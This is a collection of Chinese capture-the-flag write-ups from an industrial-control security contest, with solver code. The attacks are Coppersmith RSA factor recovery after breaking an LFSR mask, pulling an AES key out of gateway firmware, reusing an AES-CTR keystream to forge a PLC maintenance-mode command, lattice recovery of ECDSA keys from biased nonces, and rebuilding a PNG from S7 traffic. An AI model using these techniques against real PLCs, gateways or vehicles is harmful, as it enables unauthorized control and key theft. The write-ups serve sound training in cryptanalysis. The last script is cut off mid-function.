第十届工业信息安全技能大赛-①工控安全锦标赛
Crypto
GY10-TwinModuli
- 题目概览
附件给出 task.py(生成器)和 output.txt(题目参数)。
题目模拟了一个车载双 ECU(TBOX / IVI)OTA 升级场景:
- 两个 RSA 模数
n1 = p1*q1、n2 = p2*q2,其中p2 = p1 + delta("nearby-prime twin",但q1, q2独立,gcd(n1,n2)=1,*不是* shared-q 攻击)。 - 诊断通道泄漏了
p1的高 276 位,但被一个 *双 Galois LFSR 组合(OR)* 生成的 keystream 按位异或掩码了。 - 同时给出一个已知明文的挑战密文
challenge_ct_hex,明文为"IVI-TBOX-SYNC-OK",用同一把 keystream 加密。 delta_hint是红鲱鱼(明文给出delta,但q独立,无法直接因式分解)。
目标:恢复 p1, q1,计算 flag = "flag{" + md5(p1||q1)[:16] + "}"。
- 关键参数(output.txt)
n1 = 0x891866...ce6e168021 # 1024 bit
n2 = 0x93bb9b...76cfd1bff # 1024 bit
e = 0x10001
c_rsa = 0x212ed4...8fe56 # RSA 密文(flag 嵌在 OTA 帧里)
p_bits = 512
known_p_msbs = 276 # p1 高位泄漏 276 bit
seed_bits = 32 # LFSR 种子 32 bit
p_high_masked_hex = "71cb8d...0078e3"
challenge_ct_hex = "339194d6ad9f34875264a63abc539026"
challenge_plain_hint = "IVI-TBOX-SYNC-OK"
comb_tap1 = 0xa0000003
comb_tap2 = 0xc0000005
enc_nonce_hex = "c6f2985f63c5d3e9fcf1cd904d47ffcc"
ciphertext_hex = "d5715ccfc5c569510d40dd50bab715f7994056085bc4"
delta_hint = 0x57f3f8855b9a16a9523876ec # 红鲱鱼
- CombGenerator 结构(task.py)
class CombGenerator:
TAP1 = 0xA0000003
TAP2 = 0xC0000005
def __init__(self, seed):
s = seed & 0xFFFFFFFF or 1
self.s1 = s
self.s2 = (s * 0x9E3779B1) & 0xFFFFFFFF or 1
@staticmethod
def _step(state, tap):
lsb = state & 1
state >>= 1
if lsb:
state ^= tap
return state & 0xFFFFFFFF, lsb
def next_bit(self):
self.s1, b1 = self._step(self.s1, self.TAP1)
self.s2, b2 = self._step(self.s2, self.TAP2)
return b1 | b2 # ★ OR 组合,非线性
def next_byte(self):
v = 0
for i in range(8):
v |= self.next_bit() << i
return v
关键点:
- 两个 32-bit Galois LFSR,输出
b1 | b2(OR,非线性)。 - 但 *OR 的零位是线性的*:
b1|b2 = 0 ⟺ b1=0 且 b2=0。 s2 = s1 * 0x9E3779B1 mod 2^32,所以s1一旦确定,s2也确定。*未知量只有 32-bit 的****\*s1\****。
- 解题流程
Step 1:恢复 keystream
已知明文 "IVI-TBOX-SYNC-OK"(16 字节)与 challenge_ct_hex 用同一把 keystream 异或:
pt = b"IVI-TBOX-SYNC-OK"
ct = bytes.fromhex("339194d6ad9f34875264a63abc539026")
keystream = bytes(p ^ c for p, c in zip(pt, ct)) # 16 字节 = 128 bit
得到 128 bit 的 CombGenerator 输出。其中 *0 bit 的位置* 满足 b1=0 ∧ b2=0,可构造关于 s1 的 GF(2) 线性方程。
Step 2:GF(2) 线性方程组恢复 s1
对每个零位位置 i(从 0 开始计数,对应第 i+1 次调用 next_bit),LFSR1 的输出位 b1_i 是 s1 初始状态的 GF(2) 线性函数。列出全部零位约束:
b1_i(s1) = 0 对所有 i ∈ zero_positions
用高斯消元解这个 GF(2) 上的线性方程组,得到解空间(若干自由变量)。枚举自由变量的所有取值,对每个候选 s1:
- 由
s2 = s1 * 0x9E3779B1 mod 2^32推出s2。 - 跑 CombGenerator,验证 *所有零位* 处
b1=0 ∧ b2=0,以及非零位处b1|b2=1。
唯一通过验证的种子:
seed = 0x38a95dbe
Step 3:解掩码得到 p_high
用恢复的种子重建 35 字节 keystream(p_high 字节数 = (276+7)//8 = 35),异或 p_high_masked_hex:
gen = CombGenerator(0x38a95dbe)
mask = gen.keystream(35)
p_high_bytes = xor_bytes(bytes.fromhex(p_high_masked_hex), mask)
p_high = int.from_bytes(p_high_bytes, 'big')
p_high = 0xb0c50eedf651e7d8858287b0aaacc427d97856b79fdc9716f479c9d41cdcf974f8e94 (276 bit)
Step 4:Coppersmith 小根恢复 p1 低 236 位
已知 p1 的高 276 位,未知低 236 位:
p1 = (p_high << 236) + x0, 0 ≤ x0 < 2^236
即 f(x) = A + x,A = p_high << 236,在模 n1 下有小根 x0,且 f(x0) | n1。
*界分析*:单变量 Coppersmith(β = 0.5)要求 X < N^(β²) = N^0.25 ≈ 2^256。本题 X = 2^236 < 2^256,有 *20 bit 裕量*,理论上可行。
用 SageMath 构造 Coron/Jochemsz-May 格基:
- 基多项式:
g_j(t) = N^(m-j) * (A + X*t)^j,j = 0..m - 辅助多项式:
h_k(t) = (X*t)^k * (A + X*t)^m,k = 0..t-1 - 变量替换
x = X*t,构造格矩阵后 LLL 规约。
取 m = 6, t = 8(维度 15),LLL 后取短向量对应的多项式,两两做 *GCD*,提取线性因子 (t - t0),得到 x0 = X * t0:
关键代码(coppersmith_correct.sage)
m, t_extra = 6, 8
dim = m + 1 + t_extra # 15
构造格矩阵 M (dim x dim)
g_j: N^{m-j} * (A + X*t)^j for j=0..m
h_k: (X*t)^k * (A + X*t)^m for k=0..t_extra-1
M = build_lattice(m, t_extra)
reduced = M.LLL(delta=0.99)
取短多项式,GCD 提取线性因子
short_polys = extract_polys(reduced, dim)
for i, j in pairs:
g = gcd(short_polys[i], short_polys[j])
if g.degree() == 1:
t0 = -g.constant_coefficient() / g.leading_coefficient()
x0 = int(t0 * X)
if N % (A + x0) == 0:
p1 = A + x0 # FOUND!
结果:
p1 = 0xb0c50eedf651e7d8858287b0aaacc427d97856b79fdc9716f479c9d41cdcf974f8e948e87a18ca55c6eb9e3a5db83f1998089b103d04873601a285b9cb824c9d
q1 = 0xc68b021fbf9fce36e7557d1de0c9f0703b47e3c3ad7b03073dd333c6acc74c24a943c284b0d6fe7321bd4c6967cdb959bb2318b86ded1d0d1fdd98f070ca5055
验证 p1 * q1 == n1 ✅
Step 5:计算 Flag
按 task.py:
import hashlib
secret = p1.to_bytes(64, 'big') + q1.to_bytes(64, 'big')
flag = "flag{" + hashlib.md5(secret).hexdigest()[:16] + "}"
- 三重验证
验证 1:RSA 解密
phi = (p1-1)*(q1-1)
d = pow(e, -1, phi)
m = pow(c_rsa, d, n1)
m -> bytes:
b'OTA|LHGAV3850A2012345|flag{a163f947a3efa4c4}\x00...'
RSA 解密得到 OTA|LHGAV3850A2012345|flag{a163f947a3efa4c4} ✅
验证 2:SHA-256 流密码解密
wrap_key = sha256(b"ifp-seal-v3" + secret)
nonce = sha256(b"ifp-nonce-v3" + secret)[:16]
stream = sha256(wrap_key + nonce + ctr.to_bytes(4, "big")) # ctr = 0,1,...
plaintext = xor(ciphertext, stream[:len(flag)])
b'flag{a163f947a3efa4c4}'
解密得到 flag{a163f947a3efa4c4} ✅
验证 3:Nonce 匹配(128-bit 强校验)
nonce = sha256(b"ifp-nonce-v3" + secret)[:16]
= c6f2985f63c5d3e9fcf1cd904d47ffcc
与 output.txt 的 enc_nonce_hex 完全一致 ✅
Nonce 匹配在 128-bit 碰撞抗性下 *证明* ***\*secret = p1||q1\**** *完全正确*。
- Flag
flag{a163f947a3efa4c4}
- 解题脚本索引
| 文件 | 作用 |
|||
| step1_analyze.py | 从已知明密文对恢复 keystream,分析零位结构 |
| solve_v2.py | GF(2) 线性方程组 + 零空间枚举恢复种子 0x38a95dbe,解掩码得到 p_high |
| coppersmith_correct.sage | SageMath Coppersmith(Coron/Jochemsz-May 格基 + LLL + GCD)恢复 p1 |
| launch_correct.py | 通过 Cygwin bash 启动 SageMath 运行上述 .sage 脚本 |
| final_verify_v2.py | 纯 Python 三重验证(RSA 解密 + 流密码解密 + nonce 匹配) |
- 思路小结
已知明文 "IVI-TBOX-SYNC-OK"
│ XOR challenge_ct
▼
16 字节 keystream
│ 零位 → b1=0 ∧ b2=0 (线性约束)
▼
GF(2) 线性方程组 + 零空间枚举
│
▼
种子 seed = 0x38a95dbe
│ 重建 CombGenerator keystream
▼
p_high (p1 高 276 bit)
│ A = p_high << 236, f(x) = A + x, X = 2^236 < N^0.25
▼
Coppersmith (m=6, t=8, LLL + GCD)
│
▼
p1, q1 → secret = p1 || q1
│
▼
flag{md5(secret)[:16]} = flag{a163f947a3efa4c4}
*关键洞察*:
- *OR 组合的零位是线性的* ——
b1|b2=0 ⟺ b1=b2=0,把非线性组合退化为 GF(2) 线性方程组。 ***\*s2\*****由****\*s1\*****唯一确定* ——s2 = s1 * 0x9E3779B1 mod 2^32,未知量从 64 bit 降到 32 bit。- *236 < 256* —— Coppersmith 单变量界
X < N^(β²) = N^0.25刚好满足(20 bit 裕量),m=6 即可。 ***\*delta_hint\*****是红鲱鱼* ——q1, q2独立,gcd(n1,n2)=1,nearby-prime 不能直接因式分解。
GY10-工控网关密钥泄露
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
GY10 - 工控网关密钥泄露 (Crypto, 200pt)
Solver: extract AES key from SquashFS firmware, decrypt flag.enc.
Pipeline:
工控网关密钥泄露.rar
├── firmware.bin # gzip( squashfs( config.json + hostname + app/bin/... ) )
└── flag.enc # AES-128-CBC, IV prepended (48 = 16 IV + 32 ct)
"""
import gzip, json, re, zlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
BASE = r"f:\Fshare\Challenges\Challenges_ToMove\工控安全锦标赛\Game_Tmp\Crypto\GY10-工控网关密钥泄露\extracted"
# ---------- 1. Decompress firmware.bin (gzip) -> firmware.squashfs ----------
with open(BASE + r"\firmware.bin", "rb") as f:
fw_gz = f.read()
assert fw_gz[:2] == b"\x1f\x8b", "firmware.bin is not gzip"
squashfs = gzip.decompress(fw_gz)
assert squashfs[:4] == b"hsqs", "decompressed data is not SquashFS"
print(f"[+] firmware.bin -> gzip -> SquashFS ({len(squashfs)} bytes)")
# ---------- 2. Find all zlib streams inside SquashFS, decompress ----------
# SquashFS 4.0 with zlib stores inode/dir/fragment tables and file-data blocks
# as zlib (78 da) streams. config.json lives in a file-data block.
streams = []
i = 0
while True:
idx = squashfs.find(b"\x78\xda", i)
if idx < 0:
break
d = zlib.decompressobj()
try:
out = d.decompress(squashfs[idx:idx + 5000])
streams.append((idx, out))
except Exception:
pass
i = idx + 1
# ---------- 3. Locate config.json and extract AES key ----------
key_hex = None
for off, blob in streams:
if b"aes_key_hex" in blob:
print(f"[+] Found config.json at squashfs offset 0x{off:x}")
print("-" * 60)
print(blob.decode("utf-8", errors="replace"))
print("-" * 60)
# parse the JSON inside the blob
m = re.search(rb'\{[^{}]*"mqtt"[^{}]*\{.*?\}[^{}]*"crypto"[^{}]*\{.*?\}[^{}]*\}',
blob, re.DOTALL)
text = m.group(0).decode() if m else blob.decode("utf-8", errors="replace")
cfg = json.loads(text)
key_hex = cfg["crypto"]["aes_key_hex"]
break
assert key_hex, "AES key not found in firmware"
key = bytes.fromhex(key_hex)
print(f"[+] Recovered AES key (hex): {key_hex} ({len(key)} bytes -> AES-{len(key)*8})")
# ---------- 4. Decrypt flag.enc ----------
# 48 bytes = 16-byte IV (prepended) + 32-byte ciphertext (2 AES blocks)
with open(BASE + r"\flag.enc", "rb") as f:
enc = f.read()
assert len(enc) == 48 and len(enc) % 16 == 0
iv, ct = enc[:16], enc[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
pt_padded = cipher.decrypt(ct)
try:
pt = unpad(pt_padded, 16) # PKCS7
except ValueError:
pt = pt_padded
flag = pt.decode("utf-8", errors="replace")
print(f"[+] Decrypted plaintext (raw): {pt_padded!r}")
print(f"[+] FLAG: {flag}")
flag{ICS_Gateway_Crack_2026}
GY10-PLC 网关异常响应排查
*加密方案:* AES-256-CTR
- KEY:硬编码在
protocol.py中(32 字节) - nonce:
hashlib.md5(device_id.encode()).digest()[:8]
*明文编码:* json.dumps(obj, separators=(",",":"), sort_keys=True) — 键按字母序排列。
- 密码学缺陷:AES-CTR Nonce 重用
make_nonce(device_id) 仅从 device_id 派生 nonce(MD5(device_id)[:8]),*同一设备的所有报文都使用相同的 nonce + 相同的 KEY*。
在 AES-CTR 模式下,nonce 重用意味着*密钥流(keystream)完全相同*:
- 已知一个明文 → 恢复密钥流:
keystream = plaintext XOR ciphertext - 用密钥流可解密任何同设备报文:
plaintext = ciphertext XOR keystream - 用密钥流可伪造任意新报文:
ciphertext_new = plaintext_new XOR keystream
- 解题步骤
步骤 1:PCAP 分析
从 traffic.pcap 中提取到 *8 个 ICS2 报文*,涉及 3 个设备:
- *PLC-07*(nonce=
bf0a1c4095eaafdb,5 个报文):遥测、状态查询、*失败的维护模式请求* - *PLC-03*(nonce=
c7213a5fc7d3f025,2 个报文):遥测、状态查询 - *PLC-12*(nonce=
a08f40ff326ad02a,1 个报文):遥测
步骤 2:密钥流恢复
利用已知明文(遥测 JSON 结构可从 client.py 推断),从 PLC-07 的报文中恢复出 130 字节的密钥流:
Plain Text
1a961a5d5527dec3323d02405969fd2f...
验证:所有 PLC-07 报文的 plaintext XOR ciphertext 完全一致,*确认 nonce 重用*。
步骤 3:构造伪造报文
模拟器 check_success() 要求的目标报文:
JSON
{"cmd":"maint_mode","coil":1,"dev":"PLC-07","seq":9999,"type":"control"}
- 用恢复的密钥流 XOR 目标明文 → 得到伪造密文(*无需 KEY*)
- 用 device_id 的 nonce(
bf0a1c4095eaafdb)、seq=9999 构建完整报文 - 计算 CRC32 附加到末尾
步骤 4:发送并获取 Flag
启动 plc_simulator.py(监听 127.0.0.1:15020),发送伪造报文:
Plain Text
OK maintenance mode enabled
flag{17450ef16f8d58c7e7d3668afea0ca1d}
flag{17450ef16f8d58c7e7d3668afea0ca1d}
GY10-GhostPlatoon
注意:题目描述里提到"认证流量",但实际附件中*没有 pcap*,而是直接给出了生成器源码 task.sage 和它产出的 output.txt(包含曲线参数、3 个车辆公钥、99 条 ECDSA 签名、密文、enc_nonce)。
- 识别的密码学方案
- *曲线*:secp256r1 (NIST P-256)
- *签名*:ECDSA,私钥采用"编队多项式"派生:
d_v = d0 + v·alpha + v²·beta (mod n),v=0,1,2 三辆车 - ** nonce 偏差(核心漏洞)**:每条签名的 nonce
k高 (256−L)=148 位由public_nonce_material(gps_time, counter, veh)决定(公开可重构),仅低 L=108 位随机。少量 (5%) 签名是"中毒"的(完全随机 k,需过滤/绕过)。 - *封装*:恢复
d0, alpha, beta, d3(其中d3 = d0+3·alpha+9·beta)→ 拼成secret→AES_key = SHA256("platoon-seal-v2"||secret),nonce = SHA256("nonce"||secret)[:16],使用 SHA256-CTR 风格流密码加密 flag。
这是一个典型的 *Hidden Number Problem (HNP)* —— 带偏差 nonce 的 ECDSA。
- 解题步骤
- *重构 nonce 高位*:按
task.sage复刻public_nonce_material(gps_time, counter, veh),得到每条签名k的已知高 148 位high·2^L。 - *建立 HNP 方程*:由 ECDSA
k ≡ s⁻¹(h + r·d_v) (mod n),记t = r·s⁻¹,u = h·s⁻¹,则t·d_v ≡ (high·2^L − u) + low (mod n),其中0 ≤ low < 2^L。居中后|error| < 2^107。 - *分车辆独立求解 HNP*:每辆车 ~33 条签名,私钥
d_v不变。对每辆车构造 *Kannan 嵌入格*(m+2 维):- 前 m 行:对角线放
n·2^148(modular reduction 行 + 残差放大) - 第 m 行:
(a_i·2^148 …, 1, 0)(d 的系数行) - 第 m+1 行:
(b_i·2^148 …, 0, K=2²⁵⁶)(嵌入目标)
- 前 m 行:对角线放
短向量形式 (-e_i·2^148, …, -d_v, K)。利用 python-flint 的 fmpz_mat.lll()(极快,~5ms/格),LLL 后扫描末列为 ±K 的行即可读出 d_v。由于差距巨大(目标向量 ~2²⁵⁸ vs Gaussian heuristic ~2⁴⁰⁴),第一次用全部 33 条签名就成功了(中毒签名产生的较大残差被格的"过约束"特性吸收)。
- *恢复 alpha, beta, d3*:
d0 = d_0,d1 = d_0+alpha+beta,d2 = d_0+2·alpha+4·beta- 解 2×2 线性方程组:
alpha = (4·d1 − 3·d0 − d2)·(2⁻¹) mod n,beta = (d1 − d0 − alpha) mod n d3 = (d0 + 3·alpha + 9·beta) mod n- 用断言验证
d0+alpha+beta == d1、d0+2·alpha+4·beta == d2通过。
- *派生密钥并解密*:按
task.sage完全相同的 KDF 构造secret = d0||alpha||beta||d3(每个 32 字节大端),算出aes_key和enc_nonce。验证派生的enc_nonce与output.txt中的完全一致(自检通过)。最后调用stream_crypt解密密文。 - 恢复的 Flag
Plain Text
flag{204d453a575f94cd}
自检:脚本里同时用 md5(secret).hex()[:16] 直接算出"应为的 flag",结果与解密结果完全一致 —— flag{204d453a575f94cd},确认正确。
- 解题脚本
完整路径:f:\Fshare\Challenges\Challenges_ToMove\工控安全锦标赛\Game_Tmp\Crypto\GY10-GhostPlatoon\solve.py
依赖(均已在本机可用):
python-flint(提供fmpz_mat.lll(),快速 LLL)pycryptodome(提供 P-256 点乘用于验证d_v·G == Q_v)- 标准库
hashlib,json
脚本运行输出片段:
[*] Solving HNP for vehicle 0... -> d_0 = 0xade44f8974f11db5...
[*] Solving HNP for vehicle 1... -> d_1 = 0xe8c90e5145122e80...
[*] Solving HNP for vehicle 2... -> d_2 = 0x1806f95b341ff63e...
[+] derived enc_nonce matches output: True
[+] decrypted: b'flag{204d453a575f94cd}'
[+] FLAG: flag{204d453a575f94cd}
solve.py
#!/usr/bin/env python
"""
Solver for GY10-GhostPlatoon CTF challenge.
Scheme: ECDSA on secp256r1 with biased nonces (Hidden Number Problem).
- 3 vehicles with private keys d_v = d0 + v*alpha + v^2*beta (mod n)
- Each signature's nonce k has its top (256-L)=148 bits determined by
public_nonce_material(gps_time, counter, veh); only the low L=108 bits
are random. (A few signatures are "poisoned": fully random k.)
- We solve the per-vehicle HNP via lattice (LLL on Kannan embedding).
- Recover d0, d1, d2; solve for alpha, beta, d3; derive AES key; decrypt flag.
"""
import json
import hashlib
import os
import random
from flint import fmpz_mat
from Crypto.PublicKey.ECC import EccPoint
# --- Curve constants (secp256r1) ---
p = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
a_curve = p - 3
b_curve = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
Gx = 0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
Gy = 0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5
G = EccPoint(Gx, Gy, curve='secp256r1')
L = 108
B = 1 << L # 2^108
SCALE = 1 << (256 - L) # 2^148 (so residuals are scaled to ~n-sized)
K = 1 << 256 # balancing constant for embedding
def i2b(x, length=32):
return int(x).to_bytes(length, "big")
def b2i(b):
return int.from_bytes(b, "big")
def sha256(data: bytes) -> bytes:
return hashlib.sha256(data).digest()
def md5(data: bytes) -> bytes:
return hashlib.md5(data).digest()
def stream_crypt(key: bytes, iv: bytes, data: bytes) -> bytes:
out = bytearray()
ctr = 0
while len(out) < len(data):
out.extend(sha256(key + iv + ctr.to_bytes(4, "big")))
ctr += 1
return bytes(x ^ y for x, y in zip(data, out))
def public_nonce_material(gps_time: int, counter: int, veh: int) -> int:
"""Identical to task.sage - reconstructs the high bits of k."""
digest = sha256(
b"\x01\x60\x9e\x02"
+ gps_time.to_bytes(8, "big")
+ counter.to_bytes(4, "big")
+ bytes([veh & 0xFF])
)
high = b2i(digest) >> L
high = high ^ ((veh * 0x9E3779B1) & ((1 << (256 - L)) - 1))
return high
def inv_mod(a, m):
return pow(a, -1, m)
def point_mul(d):
Q = int(d) * G
return (int(Q.x), int(Q.y))
def solve_vehicle(v, sigs_v, target_pub, max_attempts=40, subset_size=None):
"""Run HNP lattice attack for one vehicle's signatures."""
prepared = []
for sig in sigs_v:
msg = bytes.fromhex(sig["msg_hex"])
r = int(sig["r"], 16)
s = int(sig["s"], 16)
h = b2i(sha256(msg)) % n
s_inv = inv_mod(s, n)
t = (r * s_inv) % n # coefficient of d_v in: k = s^-1*(h + r*d)
u = (h * s_inv) % n # constant part of k
high = public_nonce_material(sig["gps_time"], sig["counter"], v)
known_part = (high * B) % n # high * 2^L
# k = (known_part + low) mod n, 0 <= low < B
# k = u + t * d_v (mod n)
# => t * d_v + u ≡ known_part + low (mod n)
# => t * d_v ≡ (known_part - u) + low (mod n)
# Center: t * d_v - (known_part - u + B/2) ≡ low - B/2 (mod n), |center| < B/2
b_i = (known_part - u) % n
b_i_centered = (b_i + B // 2) % n
a_i = t
prepared.append((a_i, b_i_centered))
rng = random.Random(0xC0FFEE ^ v)
n_sigs = len(prepared)
if subset_size is None:
subset_size = min(n_sigs, 24)
for attempt in range(max_attempts):
if attempt == 0:
# First try all sigs
sub_idx = list(range(n_sigs))
else:
sub_idx = rng.sample(range(n_sigs), min(subset_size, n_sigs))
sub = [prepared[i] for i in sub_idx]
m = len(sub)
# Build augmented matrix (Kannan embedding for CVP-as-SVP):
# Rows 0..m-1: modular reduction rows (n*SCALE on diagonal)
# Row m: a_i*SCALE for i<m, 1 in pos m, 0 in pos m+1 (the "d" multiplier)
# Row m+1: b_i*SCALE for i<m, 0 in pos m, K in pos m+1 (target)
rows = []
for i in range(m):
row = [0] * (m + 2)
row[i] = n * SCALE
rows.append(row)
rows.append([sub[i][0] * SCALE for i in range(m)] + [1, 0])
rows.append([sub[i][1] * SCALE for i in range(m)] + [0, K])
M = fmpz_mat(rows)
M_lll = M.lll()
tbl = M_lll.table()
for row in tbl:
last = row[-1]
if abs(last) == K:
# short vector v = (-e_i*SCALE, ..., -d, K) if last == +K
# v = ( e_i*SCALE, ..., d, -K) if last == -K
if last > 0:
d_cand = (-row[-2]) % n
else:
d_cand = row[-2] % n
if d_cand == 0:
continue
Q = point_mul(d_cand)
if Q == target_pub:
return d_cand
return None
def main():
here = os.path.dirname(os.path.abspath(__file__))
out_path = os.path.join(here, "extracted", "附件", "output.txt")
with open(out_path) as f:
data = json.load(f)
pubs = [(int(v["x"], 16), int(v["y"], 16)) for v in data["vehicles"]]
sigs = data["signatures"]
print(f"[+] Loaded {len(sigs)} signatures, 3 vehicles")
# Group signatures by vehicle
sigs_by_veh = {0: [], 1: [], 2: []}
for sig in sigs:
sigs_by_veh[sig["veh"]].append(sig)
for v in range(3):
print(f" vehicle {v}: {len(sigs_by_veh[v])} signatures; pubkey=({hex(pubs[v][0])[:18]}..., {hex(pubs[v][1])[:18]}...)")
# Solve HNP for each vehicle
d_v = {}
for v in range(3):
print(f"\n[*] Solving HNP for vehicle {v}...")
d = solve_vehicle(v, sigs_by_veh[v], pubs[v])
if d is None:
print(f"[-] Failed to recover d for vehicle {v}")
return
print(f"[+] d_{v} = {hex(d)}")
d_v[v] = d
# Compute d0, alpha, beta, d3
# privs[0] = d0
# privs[1] = d0 + alpha + beta => alpha + beta = d1 - d0
# privs[2] = d0 + 2*alpha + 4*beta => 2*alpha + 4*beta = d2 - d0
# 2*alpha = 4*(d1 - d0) - (d2 - d0) = 4*d1 - 3*d0 - d2
d0 = d_v[0]
d1 = d_v[1]
d2 = d_v[2]
two_inv = inv_mod(2, n)
alpha = ((4 * d1 - 3 * d0 - d2) * two_inv) % n
beta = (d1 - d0 - alpha) % n
d3 = (d0 + 3 * alpha + 9 * beta) % n
# Sanity check
assert (d0 + 1 * alpha + 1 * beta) % n == d1, "alpha/beta check failed (d1)"
assert (d0 + 2 * alpha + 4 * beta) % n == d2, "alpha/beta check failed (d2)"
print(f"[+] d0 = {hex(d0)}")
print(f"[+] alpha = {hex(alpha)}")
print(f"[+] beta = {hex(beta)}")
print(f"[+] d3 = {hex(d3)}")
# Build secret and derive keys (same as task.sage)
secret = i2b(d0) + i2b(alpha) + i2b(beta) + i2b(d3)
flag_check = "flag{" + md5(secret).hex()[:16] + "}"
aes_key = sha256(b"platoon-seal-v2" + secret)
enc_nonce = sha256(b"nonce" + secret)[:16]
ciphertext = bytes.fromhex(data["ciphertext_hex"])
expected_nonce = bytes.fromhex(data["enc_nonce_hex"])
print(f"[+] derived enc_nonce matches output: {enc_nonce == expected_nonce}")
plaintext = stream_crypt(aes_key, enc_nonce, ciphertext)
print(f"[+] decrypted: {plaintext!r}")
try:
flag = plaintext.decode()
print(f"\n[+] FLAG: {flag}")
except UnicodeDecodeError:
print(f"[-] Decryption did not produce valid UTF-8; raw bytes: {plaintext.hex()}")
print(f"[+] (md5-derived flag check would be: {flag_check})")
if __name__ == "__main__":
main()
flag{204d453a575f94cd}
Misc
GY10-工控协议流量迷局
查看请求 (C->S) 数据,其中包含写入 PLC 的 ASCII 值,并检查畸形帧。
发送给 PLC 的 C->S 请求中包含了大型 Base64 数据块。提取并解码这些数据。
帧 11 解码后是一个 PNG 图像。数据似乎是分块且多层编码的。编写一个更全面的分析脚本,按 S7 偏移量正确提取数据块。
param 的长度是 14 字节
数据块在相同的偏移量处重叠,且编码层各不相同。第 11 帧解码后是一个 PNG 文件头。让我专注于这 4 个三层数据块(7、9、11、13),并尝试对它们进行排序以构成一个有效的 PNG 文件。
顺序 11, 9, 7, 13 生成了一个有效的 PNG 文件,其 IDAT 可解压为 209352 字节 = 264×264 RGB 图像。IHDR 的高度被篡改为 0。修复它并重建图像。
这是一个二维码
import subprocess
import base64
import struct
import zlib
result = subprocess.run(
['tshark', '-r', 'plc_maintenance.pcapng', '-Y', 'ip.src==192.168.1.100 && tcp.dstport==102',
'-T', 'fields', '-e', 'frame.number', '-e', 'tcp.payload'],
capture_output=True, text=True
)
def parse_value(payload):
if len(payload) < 17 or payload[4]!=0x02 or payload[7]!=0x32 or payload[8]!=0x01:
return None
param_len = payload[13]*256+payload[14]
data_len = payload[15]*256+payload[16]
param = payload[17:17+param_len]
data = payload[17+param_len:17+param_len+data_len]
if len(param)<4 or param[0]!=0x05 or len(param)<14:
return None
if len(data)<4:
return None
d_len = data[2]*256+data[3]
value = data[4:4+d_len]
return value
vals = {}
for line in result.stdout.strip().split('\n'):
if not line: continue
parts = line.split('\t')
if len(parts)<2 or not parts[1]: continue
fn = int(parts[0])
payload = bytes.fromhex(parts[1].replace(':',''))
v = parse_value(payload)
if v is None or len(v) < 50: continue
vals[fn] = v
def full_decode(val):
cur = val.decode('ascii')
for _ in range(6):
try:
pad = cur+'='*((4-len(cur)%4)%4)
d = base64.b64decode(pad)
except Exception:
return cur.encode() if isinstance(cur,str) else cur
if all(32<=b<127 for b in d):
cur = d.decode('ascii')
else:
return d
return cur.encode()
# Order: 11, 9, 7, 13
order = [11, 9, 7, 13]
concat = b''
for fn in order:
concat += full_decode(vals[fn])
print(f"Concat length: {len(concat)}")
print(f"First 8: {concat[:8].hex()}")
# Parse PNG chunks
pos = 8 # after signature
chunks = []
while pos < len(concat) - 8:
clen = struct.unpack('>I', concat[pos:pos+4])[0]
ctype = concat[pos+4:pos+8]
cdata = concat[pos+8:pos+8+clen]
crc_stored = struct.unpack('>I', concat[pos+8+clen:pos+12+clen])[0]
crc_calc = zlib.crc32(ctype+cdata) & 0xffffffff
chunks.append((ctype, cdata, crc_stored, crc_calc))
print(f"chunk {ctype} len={clen} crc_stored={crc_stored:08x} crc_calc={crc_calc:08x} {'OK' if crc_stored==crc_calc else 'BAD'}")
pos = pos + 12 + clen
if ctype == b'IEND':
break
# Reconstruct PNG with fixed IHDR height = 264
ihdr_type, ihdr_data, _, _ = chunks[0]
print(f"\nOriginal IHDR data: {ihdr_data.hex()}")
w, h, bd, ct, comp, filt, interlace = struct.unpack('>IIBBBBB', ihdr_data)
print(f"width={w} height={h} bitdepth={bd} colortype={ct}")
# Fix height to 264 (since IDAT decompresses to 264 rows)
new_h = 264
new_ihdr_data = struct.pack('>IIBBBBB', w, new_h, bd, ct, comp, filt, interlace)
new_ihdr_crc = zlib.crc32(b'IHDR' + new_ihdr_data) & 0xffffffff
print(f"New IHDR data: {new_ihdr_data.hex()}, new CRC: {new_ihdr_crc:08x}")
# Build PNG
png = b'\x89PNG\r\n\x1a\n'
# IHDR
png += struct.pack('>I', 13) + b'IHDR' + new_ihdr_data + struct.pack('>I', new_ihdr_crc)
# Other chunks (IDAT, IEND) - keep as-is
for ctype, cdata, crc_stored, crc_calc in chunks[1:]:
crc = crc_stored if crc_stored == crc_calc else crc_calc
png += struct.pack('>I', len(cdata)) + ctype + cdata + struct.pack('>I', crc)
with open('flag.png', 'wb') as f:
f.write(png)
print(f"\nSaved flag.png ({len(png)} bytes)")
# Verify by decompressing IDAT
for ctype, cdata, _, _ in chunks:
if ctype == b'IDAT':
raw = zlib.decompress(cdata)
print(f"IDAT decompressed: {len(raw)} bytes = {len(raw)//(w*3+1)} rows x {w*3+1} bytes/row")
# Render to a PPM for inspection / also use PIL if available
try:
from PIL import Image
img = Image.frombytes('RGB', (w, new_h), raw) # raw includes filter bytes - need to handle
except ImportError:
print("PIL not available")
# Also unfilter manually and save as PPM
# PNG filtering: each scanline starts with a filter byte
stride = w * 3 + 1
nrows = len(raw) // stride
print(f"Rows: {nrows}, stride: {stride}")
def paeth(a, b, c):
p = a + b - c
pa, pb, pc = abs(p-a), abs(p-b), abs(p-c)
if pa <= pb and pa <= pc: return a
elif pb <= pc: return b
else: return c
unfiltered = bytearray()
prev_row = bytearray(w*3)
for r in range(nrows):
row_start = r*stride
ftype = raw[row_start]
row = bytearray(raw[row_start+1:row_start+stride])
for i in range(len(row)):
a = row[i-3] if i >= 3 else 0
b = prev_row[i]
c = prev_row[i-3] if i >= 3 else 0
x = row[i]
if ftype == 0: pass
elif ftype == 1: row[i] = (x + a) & 0xff
elif ftype == 2: row[i] = (x + b) & 0xff
elif ftype == 3: row[i] = (x + ((a+b)>>1)) & 0xff
elif ftype == 4: row[i] = (x + paeth(a,b,c)) & 0xff
unfiltered += row
